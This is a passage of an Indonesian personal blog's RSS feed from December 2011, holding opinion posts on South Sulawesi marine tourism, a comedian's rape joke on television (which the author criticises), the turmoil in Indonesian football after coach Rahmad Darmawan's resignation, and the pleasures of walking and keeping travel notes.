<p>Entahlah, saya sendiri sebagai warga biasa yang hanya berstatus sebagai penikmat laut masih selalu gregetan melihat kurang gesitnya pemerintah Provinsi dan daerah di Sulawesi Selatan untuk menggali lebih dalam potensi wisata baharinya. Tidak usah bicara jauh-jauh soal Taka Bonerate, di sekitaran Makassar masih banyak pulau-pulau indah yang belum dikelola maksimal, semua masih berjalan separuh hati dan itupun sebagian besarnya hanya digerakkan oleh pihak swasta.</p>
<p><strong>Pak Januar Jaury</strong>, seorang pengusaha yang sekarang menjadi anggota DPRD membeberkan fakta kalau sektor pariwisata sesungguhnya bisa memberikan dukungan finansial yang sangat besar untuk pendapatan daerah. Beberapa negara di dunia ini menggantungkan nasib mereka pada sektor pariwisata, dan berhasil. Kenapa Indonesia tidak bisa ?</p>
<p>Di akhir acara, sebagai seorang blogger saya menyodorkan ide untuk sebuah kolaborasi antara berbagai pihak yang punya perhatian serius dengan masalah kelautan. Saya menyodorkan ide untuk melibatkan para blogger secara lebih aktif khususnya sebagai corong promosi wisata kelautan Sulawesi Selatan. Contoh terakhir adalah ketika kami diajak ke Taka Bonerate, deretan tulisan tentang Taka Bonerate serta twit-twit dan foto-foto di Facebook sedikit banyaknya telah membuka mata banyak orang kalau ada tempat yang sangat indah di selatan Sulawesi. Sebuah tempat yang memang belum banyak diketahui orang Indonesia.</p>
<p>Saya yakin dengan kerjasama dan kolaborasi antar banyak pihak, wisata bahari yang selama ini seperti raksasa yang sedang tidur bisa bangun dan menjadi penyumbang devisa yang besar bagi negeri kita, atau dalam skala kecil bagi provinsi Sulawesi Selatan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="dg[;">dg[;</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata sul-sel">wisata sul-sel</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata laut sulawesi selatan">wisata laut sulawesi selatan</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="wisata di indonesia bagian timur">wisata di indonesia bagian timur</a> (2)</li><li><a href="http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/" title="pariwisata kelautan">pariwisata kelautan</a> (2)</li></ul><div class="shr-publisher-2179"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fwisata-bahari-sulsel-raksasa-yang-tertidur%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/wisata-bahari-sulsel-raksasa-yang-tertidur/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Sekali Lagi Tentang Joke Yang Tidak Sensitif</title>
		<link>http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/</link>
		<comments>http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/#comments</comments>
		<pubDate>Fri, 16 Dec 2011 03:16:29 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Joke]]></category>
		<category><![CDATA[Olga Syahputra]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2155</guid>
		<description><![CDATA[Acara Dekade jaringan televisi Trans Corp. ternyata berbuntut panjang. Salah satu bagian acaranya ternyata mengundang reaksi negatif dari para penonton Adalah Olga Syahputra yang menjadi aktornya. Dalam sebuah segmen dia tampil sebagai hantu dalam parodi Dunia Lain, salah satu acara unggulan Trans TV beberapa tahun lalu. Ketika ditanya apa penyebab kematiannya, dengan enteng Olga menjawab [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2156" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/stopmakingashallowjoke.jpg"><img class="size-full wp-image-2156" title="stopmakingashallowjoke" src="http://daenggassing.com/wp-content/uploads/2011/12/stopmakingashallowjoke.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Stop Making A Shallow Joke</p></div>
<blockquote>
<h3>Acara Dekade jaringan televisi Trans Corp. ternyata berbuntut panjang. Salah satu bagian acaranya ternyata mengundang reaksi negatif dari para penonton</h3>
</blockquote>
<p>Adalah Olga Syahputra yang menjadi aktornya. Dalam sebuah segmen dia tampil sebagai hantu dalam parodi Dunia Lain, salah satu acara unggulan Trans TV beberapa tahun lalu. Ketika ditanya apa penyebab kematiannya, dengan enteng Olga menjawab : <strong>matinya sepele, karena diperkosa sopir angkot</strong>.</p>
<p>Sule yang jadi lawan mainnya tertawa riang, begitu pula ratusan penonton di studio dan mungkin ribuan lainnya yang sedang memelototi layar televisi.</p>
<p>Tapi di twitter, beberapa reaksi negatif berseliweran. Di antaranya yang dituliskan di <a href="http://id.omg.yahoo.com/news/candaan-olga-syahputra-jadi-perbincangan-185500987.html">Yahoo OMG</a> adalah :</p>
<blockquote><p>@cho_ro<br />
Kita butuh becandaan yang cerdas. Bukan merendahkan sesuatu atau seseorang. Kalo masih mau merendahkan mbok merendahkan diri sendiri aja.</p>
<p>@leonisecret<br />
Laporkan becandaan #OLGA di @TRANSTV_CORP ke Komisi Penyiaran Indonesia/KPI dg sms ke 08121370000 #RapeIsNotForJoke !!! via @shasya_toviano</p>
<p>@RyuDeka<br />
Mengerikan kalau kematian dan pemerkosaan dianggap sesuatu yang sepele dan dijadikan bahan becandaan. Di TV nasional pula</p>
<p>@wdanoe<br />
@dahsyatnyaolga semoga segera menyadari kesalahannya dan meminta maaf. Rape is never funny. Rape is NOT a joke!</p></blockquote>
<p>Dan yang paling keras adalah dari @RisaHart, seorang pemerhati masalah HAKI dan blogger perempuan. Isi twitnya :</p>
<blockquote><p>@RisaHart<br />
Menggunakan topik &#8220;mati krn diperkosa supir angkot itu SEPELE&#8221; sbg bahan canda merupakan refleks berpikir manusia tak bermoral dan kejam.</p>
<p>@RisaHart<br />
Pikirkan jika anda atau keluarga anda yg jadi korban, apakah anda msh menganggapnya &#8216;hanya bercanda&#8217;? Tanyakan nurani dan jawab dgn jujur.</p>
<p>@RisaHart<br />
Be sensitive to others&#8217; misery and pain. If you want to be loved, try loving others sincerely. Have a good rest! @HelgaWorotitjan thanks!</p></blockquote>
<p>Bahkan beberapa twit berikutnya dari @RisaHart lebih keras lagi dan benar-benar menunjukkan kemarahan. ?Bagi saya, ini dapat dipahami. Sebuah lelucon yang mengambil subjek pada penderitaan orang menurut saya tidak lucu, sama sekali tidak lucu.</p>
<p>Belakangan ini kasus pemerkosaan di dalam angkutan kota memang sedang marak dan jadi berita di berbagai media. Sayangnya bagi Olga itu bukan hal yang bisa mengundang simpati, bahkan sebaliknya bisa mengundang tawa bila diselipkan ke dalam sebuah penampilan. Sayangnya lagi karena sang partner saat itu ( Sule dan Denny Cagur ) tidak tampak keberatan, pun dengan ratusan penonton di dalam studio yang serentak menyumbang tawa. Lengkaplah sudah, <strong>lelucon tentang korban perkosaan dianggap wajar</strong>. Toh itu hanya sebuah lelucon, tak perlu dianggap serius.</p>
<p>Kasus ini bukan yang pertama tentu saja. Para pelawak di negeri ini sudah sering kebablasan, kelepasan ngomong, kurang sensitif dan akhirnya tergoda mengeluarkan candaan yang sebenarnya melukai orang banyak.</p>
<p>Olga sendiri sudah beberapa kali mendapatkan kritikan tajam berkaitan dengan candaannya. Di sebuah acara musik yang dibawakannya setiap pagi, dia terkadang tampil dengan cara bercanda yang juga ofensif dan cenderung terkesan menyerang dan melecehkan lawan bicaranya. Acara sahurnya di Trans TV pun pernah mendapat <a href="http://celebrity.okezone.com/read/2011/08/05/33/488786/acara-sahur-olga-syahputra-terancam-dihentikan">teguran dari Komisi Penyiaran Indonesia (KPI)</a> karena dianggap sudah melewati batas kesantunan.</p>
<p>Olga tidak sendiri, masih banyak lagi pelawak tanah air yang lawakannya kadang tidak sensitif. <strong>Tukul Arwana </strong>sendiri yang terkenal dengan acara <strong>Empat Mata</strong>-nya sudah pernah merasakan teguran keras dan sanksi dari KPI meski kemudian dengan pintarnya sang produser membawa kembali acara tersebut dengan nama yang sedikit berbeda.</p>
<p>Dunia lawak ini memang unik. Para pelawak dituntut untuk terus berkreasi menemukan objek yang kira-kira bisa menjadi bahan lawakan dan tentunya mengundang tawa riang para penonton. Batas-batas norma kadang memang jadi agak kabur. Sebuah lelucon sarkas kepada penguasa korup bisa diartikan sebagai penghinaan dan pencemaran nama baik, apalagi bila menyampaikannya tidak dengan cara yang cerdas.</p>
<p>Kalau melihat aksi para pelawak di negara maju dengan tingkat kebebasan yang lebih tinggi dari Indonesia memang terlihat bagaimana mereka dengan tenangnya bisa menyampaikan lawakan yang sangat menyinggung, bahkan kadang sampai berbau rasis. Hanya saja kadang kita lupa kalau budaya mereka dan budaya kita memang sedikit berbeda. Lagipula saya yakin para pelawak tenar juga masih punya batasan dalam menentukan bahan lawakan, utamanya bila menyangkut kesusahan atau penderitaan orang lain.</p>
<p>Televisi kita juga menjadi ladang subur untuk berbagai lawakan kasar dan tidak sensitif itu. Acara yang dipandu Olga setiap pagi itu meski telah mengundang kecaman tapi toh tetap saja disukai orang banyak, dan stasiun televisi terlalu takut kehilangan pundi-pundi rupiahnya untuk memperingatkan atau bahkan menghentikan acara yang dimaksud. Akibatnya, acara itu masih tetap tayang dan masih tetap dengan bumbu lawakan kasar, tidak sensitif dan tentu saja ofensif.</p>
<p>Yah begitulah, harus kita akui kalau dunia lawak di negeri kita memang masih jauh dari lawakan cerdas. Kekerasan, kekasaran, ofensif, pelecehan dan semacamnya masih menjadi bumbu utama. Masih sedikit yang sadar bahwa lawakan mereka bisa saja menyakiti hati beberapa orang yang sebenarnya adalah korban sebuah keadaan.</p>
<p>Entah sampai kapan kondisi ini akan terus berlanjut.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/" title="STOP LAWAKAN KASAR">STOP LAWAKAN KASAR</a> (5)</li><li><a href="http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/" title="Olga dituntut">Olga dituntut</a> (3)</li><li><a href="http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/" title="bagaimana melawak cerdas">bagaimana melawak cerdas</a> (3)</li><li><a href="http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/" title="joke olga syahputra di acara dekade">joke olga syahputra di acara dekade</a> (2)</li><li><a href="http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/" title="olga dituntut karena becandaan">olga dituntut karena becandaan</a> (2)</li></ul><div class="shr-publisher-2155"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fsekali-lagi-tentang-joke-yang-tidak-sensitif%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/sekali-lagi-tentang-joke-yang-tidak-sensitif/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Sepakbola Kita, Mundur Menuju Jurang</title>
		<link>http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/</link>
		<comments>http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 03:34:49 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Sepakbola]]></category>
		<category><![CDATA[PSSI]]></category>
		<category><![CDATA[Rahmad Darmawan]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2152</guid>
		<description><![CDATA[Entah mau dibawa ke mana sepakbola Indonesia. Pengurus sudah berganti, tapi masalah tetap sama bahkan makin kusut Lelaki itu terlihat tegap di usianya yang ke 45. Lelaki kelahiran Metro, Lampung tahun 1966 itu memang seorang perwira menengah, seorang marinir yang kemudian lebih terkenal sebagai pelatih sepakbola di Indonesia. Lelaki yang senang menutupi kepalanya dengan topi [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2153" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/rahmad_darmawan_01.jpg"><img class="size-full wp-image-2153" title="rahmad_darmawan_01" src="http://daenggassing.com/wp-content/uploads/2011/12/rahmad_darmawan_01.jpg" alt="Rahmad Darmawan" width="600" height="450" /></a><p class="wp-caption-text">Rahmad Darmawan ( sumber : Persibholic.com )</p></div>
<blockquote>
<h3>Entah mau dibawa ke mana sepakbola Indonesia. Pengurus sudah berganti, tapi masalah tetap sama bahkan makin kusut</h3>
</blockquote>
<p>Lelaki itu terlihat tegap di usianya yang ke 45. Lelaki kelahiran Metro, Lampung tahun 1966 itu memang seorang perwira menengah, seorang marinir yang kemudian lebih terkenal sebagai pelatih sepakbola di Indonesia. Lelaki yang senang menutupi kepalanya dengan topi adalah salah satu pelatih terbaik negeri ini. Persipura, Sriwijaya FC sudah pernah dibawanya ke level paling atas sepakbola kita. Terakhir timna U23 dibawanya membawa medali perak lewat serangkaian perjalanan yang menyita perhatian penggemar sepakbola Indonesia.</p>
<p>Tegas tapi mengayomi dan dekat dengan anak asuhnya. Itu komentar banyak orang yang sudah pernah merasakan sentuhan lelaki itu. Saat sedang bertanding memang terlihat jelas raut ketegasan dari wajahnya, bersanding dengan ketenangan kala memberikan instruksi. Di luar lapangan dia terlihat sebagai pria santai namun disegani.</p>
<p>Lelaki itu bernama Rahmad Darmawan. Tiga bulan terakhir namanya menjadi pujaan banyak orang di Indonesia. Dia berhasil menyuburkan rasa bangga dan kebersamaan dengan caranya sendiri. Mendorong 23 anak muda Indonesia untuk maju, bahkan hingga satu langkah dari puncak juara. Kekalahan menyesakkan diterima di ujung perjalanan perebutan emas sepakbola SEA Games. Tapi bagi banyak orang itu adalah harapan, harapan untuk melihat negeri ini kembali disegani di ASEAN, bahkan mungkin di Asia.</p>
<p>Beberapa hari yang lalu Rahmad Darmawan yang akrab disapa RD kembali menjadi pusat perhatian. Sebuah surat pengunduran diri dialamatkan ke PSSI. Secara resmi RD mengundurkan diri sebagai pelatih timnas U23. Alasannya karena dia merasa gagal membawa Indonesia meraih medali emas di SEA Games kemarin. Alasan yang masuk akal, tapi tetap membuat banyak orang ragu.</p>
<p>RD tidak gagal seratus persen. Merski gagal meraih medali emas SEA Games, RD telah berhasil meletakkan pondasi kokoh di timnas U23. Belasan anak-anak muda disatukannya menjadi tim yang menjanjikan. Beberapa bakat-bakat luar biasa dimunculkannya ke permukaan. Tak bisa dibilang gagal 100% meski tetap saja kita harus takluk pada negeri seberang di partai puncak.</p>
<p>Tapi RD tetap memilih mundur. Banyak yang berspekulasi kalau lelaki berkulit gelap itu terlalu frustasi untuk mengurai benang kusut sepakbola negeri kita. Era NH sudah lewat, NH yang jadi public enemy sepakbola Indonesia sudah lengser, berganti Djohar Arifin Husain. Semua publik menaruh harapan besar pada lelaki? yang dulu juga pernah menjadi pemain sepakbola itu.</p>
<p>Bulan berganti bulan, tapi tanda-tanda perbaikan belum ada. Timnas senior gagal di penyisihan grup Pra Piala Dunia sekaligus kembali memupus harapan berlaga di kasta tertinggi sepakbola bumi ini. Timnas muda kita lumayan, di tangan RD harapan itu masih ada. Medali perak di tangan, rasa bangga membuncah.</p>
<p>Tapi, rasa bangga itu hanya sesaat. Kusut masai sepakbola kita terus berlanjut. Liga yang jadi pondasi dasar sebuah pembinaan sepakbola suatu negeri justru jadi cermin betapa kacaunya sepakbola kita. Dua liga sama-sama mengaku sebagai liga yang syah, LPI dan LSI.</p>
<p>LPI mengaku sebagai satu-satunya liga yang disetujui PSSI, sementara LSI mengaku masih berpegang pada kontrak dengan PSSI. Semua sama-sama menegangkan urat leher, sama-sama mengencangkan promosi dan sama-sama tak mau kalah dianggap mentereng.</p>
<p>Hebatnya lagi karena kedua liga yang berseberangan itu didukung oleh raksasa media tanah air. Raksasa media yang kalau dirunut ke belakang sama-sama ditunggangi partai politik. Ujung-ujungnya kita tahu arahnya ke mana, bukan ? Dari dulu sepakbola kita memang tidak pernah bisa bersih dari politik, tidak pernah bisa bersih dari kepentingan politikus.</p>
<p>Ketika RD mengundurkan diri, mungkin dia sedang berpikir jernih. Mungkin juga dia sedang frustasi. Keputusan PSSI untuk tidak memanggil pemain-pemain yang bermain di liga saingan LPI tentu memusingkan RD. Sebuah tim yang sudah dibangunnya sedemikian rupa akan kehilangan para pemain terbaiknya hanya karena perselisihan politis tingkat atas. RD sudah lama meminta agar para pemain jangan sampai diseret-seret dalam perseteruan politik para petinggi. Biarkan mereka bermain, biarkan mereka menjadi pemain seperti bagaimana seharusnya, tak usah dilibatkan dalam urusan politik.</p>
<p>RD mungkin frustasi dan kecewa, seperti juga kita para pecinta sepakbola Indonesia. Terlalu lama kita menunggu prestasi sepakbola kita membaik, tapi yang muncul selau berita tentang kisruh sepakbola kita. Liga yang kacau, pengurus yang kebingungan. Masalah klasik yang terus berulang. Sementara di luar sana berbagai negara tetangga sudah siap dengan programnya masing-masing. Siap menuai prestasi lebih tinggi. Sedangkan kita ?</p>
<p>Ketika laga el clasico Real Madrid vs Barcelona berlangsung, saya melempar sebuah kicauan : Kalau di Spanyol ada El Clasico, di Indonesia ada masalah klasik.</p>
<p>Mudah-mudahan kita tidak sedang melihat sepakbola negeri ini yang berjalan mundur menuju jurang.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/" title="marinir lampung">marinir lampung</a> (10)</li><li><a href="http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/" title="timnas senior pra piala dunia bln februari">timnas senior pra piala dunia bln februari</a> (4)</li><li><a href="http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/" title="contoh berita duka">contoh berita duka</a> (2)</li><li><a href="http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/" title="sepakbola kita">sepakbola kita</a> (2)</li><li><a href="http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/" title="sepakbola">sepakbola</a> (2)</li></ul><div class="shr-publisher-2152"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fsepakbola-kita-mundur-menuju-jurang%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/sepakbola-kita-mundur-menuju-jurang/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Jalan Kaki</title>
		<link>http://daenggassing.com/2011/12/jalan-kaki/</link>
		<comments>http://daenggassing.com/2011/12/jalan-kaki/#comments</comments>
		<pubDate>Sun, 11 Dec 2011 16:56:55 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Jalan Kaki]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2140</guid>
		<description><![CDATA[Jalan kaki adalah olahraga paling praktis dan bisa dilakukan kapan saja. Sayangnya jaman sekarang orang sudah makin malas berjalan kaki Kejadiannya di kota Sidoarjo, akhir bulan Oktober kemarin. Setelah menyelesaikan urusan di Surabaya saya berniat kembali ke GOR Deltras tempat peserta Blogger Nusantara menginap. Sayangnya saya salah turun dari bis karena tertipu melihat plang penunjuk [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2141" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/boy-and-grandpa-walking.jpg"><img class="size-full wp-image-2141" title="boy-and-grandpa-walking" src="http://daenggassing.com/wp-content/uploads/2011/12/boy-and-grandpa-walking.jpg" alt="" width="600" height="387" /></a><p class="wp-caption-text">gambar diambil dari Google</p></div>
<blockquote>
<h3>Jalan kaki adalah olahraga paling praktis dan bisa dilakukan kapan saja. Sayangnya jaman sekarang orang sudah makin malas berjalan kaki</h3>
</blockquote>
<p>Kejadiannya di kota Sidoarjo, akhir bulan Oktober kemarin. Setelah menyelesaikan urusan di Surabaya saya berniat kembali ke GOR Deltras tempat peserta Blogger Nusantara menginap. Sayangnya saya salah turun dari bis karena tertipu melihat plang penunjuk GOR. Sudah salah turun, sok tau pula. Jadilah malam itu saya jalan kaki sekitar 2 KM ( merujuk pada plang penunjuk arah ) hingga sampai ke GOR Deltra Sidoarjo.</p>
<p>Itu bukan kali pertama saya berjalan kaki sejauh itu. Aslinya saya memang suka jalan kaki. Setiap mengunjungi kota lain biasanya saya menyempatkan diri untuk berjalan kaki menyusuri jalan-jalan di kota itu. Selain sederhana, dengan berjalan kaki saya juga merasa bisa melihat lebih banyak sisi lain dari kota yang saya datangi.</p>
<p>Tahun 2006 ketika mengunjungi Jakarta saya sempat merasakan sebuah pengalaman jalan kaki yang menurut saya cukup melelahkan. Dari pasar Baru saya dan teman-teman jalan kaki ke masjid Istiqlal, kemudian menyeberang ke lapangan Monas dan kemudian diteruskan hingga ke Jalan Jaksa. Di peta saya memperkirakan jaraknya sekitar 4 KM. Lumayan jauh dan lumayan membuat kaki pegal.</p>
<p>Kata Trinity yang backpacker itu, orang Indonesia termasuk pejalan kaki yang lambat. Jauh lebih lambat daripada mereka yang berasal dari Eropa, Amerika bahkan Asia Timur. Saya sendiri pernah membuktikannya ketika berada di Kuta, Bali. Waktu itu dengan isengnya saya coba jalan kaki mengikuti ritme sepasang bule di depan saya. Hasilnya ? sungguh saya ngos-ngosan mengejar mereka yang jalannya begitu cepat. Padahal di antara teman-teman saya termasuk orang yang kalau jalan lumayan cepat</p>
<p>Sayangnya kebiasaan berjalan kaki itu tidak sering saya lakukan di kota sendiri. Alasannya karena di kota ini saya punya kendaraan sendiri sehingga ke mana-mana saya memang lebih banyak menggunakan kendaraan. Lagipula infrastruktur untuk pejalan kaki di Makassar masih mengenaskan. Pejalan kaki selalu terpinggirkan, kalah oleh para pengendara kendaraan.</p>
<p>Tapi, bukankah itu hal yang umum di Indonesia ? Kota-kota besar di Indonesia rata-rata memang tidak memberikan tempat yang layak untuk para pejalan kaki. Trotoar banyak digunakan oleh mereka yang sebenarnya tidak berhak. Para pedagang kaki lima dan bahkan para pengendara motor seringkali merebut hak para pejalan kaki itu. Akibatnya orang jadi makin malas berjalan kaki selain tentu saja karena faktor lain seperti cuaca, alasan praktis atau ingin lebih cepat.</p>
<p>Jalan kaki sebenarnya sangat mengasyikkan. Kita bisa menikmati suasana sekitar, mengamati detail-detail dari sisi sebuah kota dan tentu saja karena alasan kesehatan. Menurut situs wikipedia, <a href="http://id.wikipedia.org/wiki/Jalan_kaki">jalan kaki</a> bisa menurunkan resiko penyakit jantung, nyeri punggung dan diabetes. Selain itu, dengan berjalan kaki sebenarnya kita punya banyak kesempatan untuk berinteraksi dengan orang lain, saling menyapa atau sekadar melemparkan senyum. Bukankah berinteraksi dengan sesama manusia itu adalah hal yang menyenangkan ?</p>
<p>Ah seandainya saja kota ini dan kota-kota lain di Indonesia memanjakan para pejalan kaki seperti kota-kota di negara maju maka tentu akan banyak warga yang lebih memilih berjalan kaki untuk jarak yang pendek yang masih bisa dijangkau, bukan malah mengutamakan menggunakan kendaraan bermotor.</p>
<p>Ah, saya rindu berjalan kaki.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/jalan-kaki/" title="JALAN KAKI">JALAN KAKI</a> (22)</li><li><a href="http://daenggassing.com/2011/12/jalan-kaki/" title="gambar-gambar orang berjalan">gambar-gambar orang berjalan</a> (4)</li><li><a href="http://daenggassing.com/2011/12/jalan-kaki/" title="orang indonesia malas berjalan">orang indonesia malas berjalan</a> (4)</li><li><a href="http://daenggassing.com/2011/12/jalan-kaki/" title="akibat sering jalan kaki">akibat sering jalan kaki</a> (3)</li><li><a href="http://daenggassing.com/2011/12/jalan-kaki/" title="foto olah raga jalan kaki">foto olah raga jalan kaki</a> (3)</li></ul><div class="shr-publisher-2140"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fjalan-kaki%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/jalan-kaki/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Mencatat Perjalanan</title>
		<link>http://daenggassing.com/2011/12/mencatat-perjalanan/</link>
		<comments>http://daenggassing.com/2011/12/mencatat-perjalanan/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 15:34:55 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[Mencatat]]></category>
		<category><![CDATA[Perjalanan]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2121</guid>
		<description><![CDATA[Sebuah perjalanan yang baik adalah perjalanan yang dicatat dan dibagikan. Saya senang mencatat, sudah sejak dulu sejak masih belum mengenal internet saya selalu mencatat di sebuah buku kecil. Ketika mengenal internet dan kemudian mengenal blog, semua catatan itu berpindah ke media yang lebih publik. Termasuk tentunya catatan perjalanan. Saya mengenal beberapa orang yang begitu intens [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2122" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4871.jpg"><img class="size-full wp-image-2122" title="IMG_4871" src="http://daenggassing.com/wp-content/uploads/2011/12/IMG_4871.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Mencatat Perjalanan</p></div>
<blockquote>
<h3>Sebuah perjalanan yang baik adalah perjalanan yang dicatat dan dibagikan.</h3>
</blockquote>
<p>Saya senang mencatat, sudah sejak dulu sejak masih belum mengenal internet saya selalu mencatat di sebuah buku kecil. Ketika mengenal internet dan kemudian mengenal blog, semua catatan itu berpindah ke media yang lebih publik. Termasuk tentunya catatan perjalanan.</p>
<p>Saya mengenal beberapa orang yang begitu intens mencatat hal-hal kecil dalam sebuah perjalanan. Salah satunya adalah <a href="http://segorolangit.multiply.com/journal">Febri</a>. Seorang wanita muda dari Jakarta yang karena tugas kemudian terdampar di Makassar. Dia rupanya punya darah <em>explorer</em>, seperti seorang Dora. Nasiblah yang kemudian mempertemukan dia dengan kami di Anging Mammiri, dan perlahan-lahan diapun sering ikut dalam perjalanan kami ke beberapa tempat di Sulawesi Selatan.</p>
<p>Dari sejak pertama kali dia ikut dalam rombongan ketika kami menuju <a href="../../../../../2011/04/barrang-lompo-dan-catatan-yang-tercecer/">pulau Barrang Lompo</a> saya sudah melihat ketekunannya mencatat. Dengan sebuah buku kecil dia mencatat banyak hal, mulai dari waktu perjalanan, harga tiket hingga mungkin hasil wawancaranya dengan beberapa orang selama perjalanan. Catatan-catatan kecilnya itu kemudian dituangkannya dalam beberapa tulisan di blog, meski memang harus diakui kalau tulisannya masih jauh dari sempurna. Tapi setidaknya dia punya kemauan luar biasa untuk mencatat perjalanannya.</p>
<p>Ketika berkunjung ke <a href="../../../../../2011/11/taka-bonerate-bag-3-potensi-yang-terpinggirkan/">Taka Bonerate</a> beberapa minggu lalu saya kembali menemukan dua orang teman seperjalanan yang begitu rajin mencatat. Mereka adalah <a href="http://toarsapada.com/">Toar</a> dan <a href="http://lelakibugis.net/">Anchu ( lelaki bugis ),</a> sepanjang perjalanan mereka sering mengeluarkan catatan kecil untuk mencatat banyak hal, termasuk hal-hal kecil yang ditemui dalam perjalanan. Latar belakang mereka memang mengharuskan mereka banyak mencatat. Toar bersama Fauzan Mukrim telah menerbitkan sebuah buku berjudul &#8220;<strong>Travelicious Makassar&#8221;</strong> yang berisi informasi wisata seputar Makassar, sementara Anchu aslinya memang peneliti dan sudah aktif menulis secara online maupun offline. Jadi tidak heran jika mereka berdua rajin mencatat sepanjang perjalanan.</p>
<p>Satu lagi yang saya kira punya catatan yang sangat bagus tentang perjalanan adalah <a href="http://lomardasika.blogspot.com/">Lomar Dasika</a>. Saya lupa kapan persisnya mengenal lelaki pengelana ini, mungkin sekitar 1 tahun lalu. Saya terdampar di blognya gara-gara mencari informasi tentang hotel murah di Surabaya. Kami sempat bertemu di perhelatan Pesta Blogger 2010 dan semenjak itu makin akrab.</p>
